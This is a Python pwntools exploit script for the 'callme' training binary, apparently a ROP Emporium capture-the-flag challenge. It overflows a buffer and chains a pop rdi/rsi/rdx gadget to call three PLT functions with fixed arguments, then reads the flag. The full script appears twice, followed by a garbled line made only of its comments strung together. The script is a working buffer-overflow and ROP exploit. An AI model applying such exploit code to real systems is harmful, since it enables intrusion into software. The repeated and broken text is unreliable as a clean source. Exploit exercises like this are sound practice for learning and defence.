#!/usr/bin/python3
from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

def find_ip(payload):
    p = process(exe)
    p.sendlineafter('> ', payload)
    
    # Wait for the process to crash
    p.wait()
    # Print out the address of EIP/RIP at the time of crashing
    ip_offset = cyclic_find(p.corefile.pc)  # x86
    #ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4))  # x64
    info('located EIP/RIP offset at {a}'.format(a=ip_offset))
    return ip_offset


# Specify your GDB script here for debugging
gdbscript = '''
break main
'''.format(**locals())

# Set up pwntools for the correct architecture
exe = './callme'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Enable verbose logging so we can see exactly what is being sent (info/debug)
context.log_level = 'debug'

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

offset = 40 # find_ip(cyclic(100))

# Per the instructions
param_1 = 0xdeadbeefdeadbeef
param_2 = 0xcafebabecafebabe
param_3 = 0xd00df00dd00df00d

io = start()

# Note that these are all @plt addresses
# Obtained via gdb: info functions
callme_one = 0x400720
callme_two = 0x400740
callme_three = 0x4006f0

# 0x000000000040093c: pop rdi; pop rsi; pop rdx; ret; 
pop_rdi_rsi_rdx_ret = 0x40093c    # conveniently placed gadget is convenient

payload = flat({
	offset: [
        pop_rdi_rsi_rdx_ret,
        param_1,
        param_2,
        param_3,
        callme_one,
        pop_rdi_rsi_rdx_ret,
        param_1,
        param_2,
        param_3,
        callme_two,
        pop_rdi_rsi_rdx_ret,
        param_1,
        param_2,
        param_3,
        callme_three
    ]
})

io.sendlineafter("> ", payload)
io.recvuntil('callme_two() called correctly\n')
flag = io.recv()
log.success(flag.decode("utf-8"))

#!/usr/bin/python3
from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

def find_ip(payload):
    p = process(exe)
    p.sendlineafter('> ', payload)
    
    # Wait for the process to crash
    p.wait()
    # Print out the address of EIP/RIP at the time of crashing
    ip_offset = cyclic_find(p.corefile.pc)  # x86
    #ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4))  # x64
    info('located EIP/RIP offset at {a}'.format(a=ip_offset))
    return ip_offset


# Specify your GDB script here for debugging
gdbscript = '''
break main
'''.format(**locals())

# Set up pwntools for the correct architecture
exe = './callme'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Enable verbose logging so we can see exactly what is being sent (info/debug)
context.log_level = 'debug'

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

offset = 40 # find_ip(cyclic(100))

# Per the instructions
param_1 = 0xdeadbeefdeadbeef
param_2 = 0xcafebabecafebabe
param_3 = 0xd00df00dd00df00d

io = start()

# Note that these are all @plt addresses
# Obtained via gdb: info functions
callme_one = 0x400720
callme_two = 0x400740
callme_three = 0x4006f0

# 0x000000000040093c: pop rdi; pop rsi; pop rdx; ret; 
pop_rdi_rsi_rdx_ret = 0x40093c    # conveniently placed gadget is convenient

payload = flat({
	offset: [
        pop_rdi_rsi_rdx_ret,
        param_1,
        param_2,
        param_3,
        callme_one,
        pop_rdi_rsi_rdx_ret,
        param_1,
        param_2,
        param_3,
        callme_two,
        pop_rdi_rsi_rdx_ret,
        param_1,
        param_2,
        param_3,
        callme_three
    ]
})

io.sendlineafter("> ", payload)
io.recvuntil('callme_two() called correctly\n')
flag = io.recv()
log.success(flag.decode("utf-8"))

#!/usr/bin/python3 # Allows you to switch between local/GDB/remote from terminal # Set GDBscript below # ('server', 'port') # Run locally # Wait for the process to crash # Print out the address of EIP/RIP at the time of crashing # x86 #ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4))  # x64 # Specify your GDB script here for debugging break main # Set up pwntools for the correct architecture # This will automatically get context arch, bits, os etc # Enable verbose logging so we can see exactly what is being sent (info/debug) #=========================================================== #                    EXPLOIT GOES HERE #=========================================================== # find_ip(cyclic(100)) # Per the instructions # Note that these are all @plt addresses # Obtained via gdb: info functions # 0x000000000040093c: pop rdi; pop rsi; pop rdx; ret; # conveniently placed gadget is convenient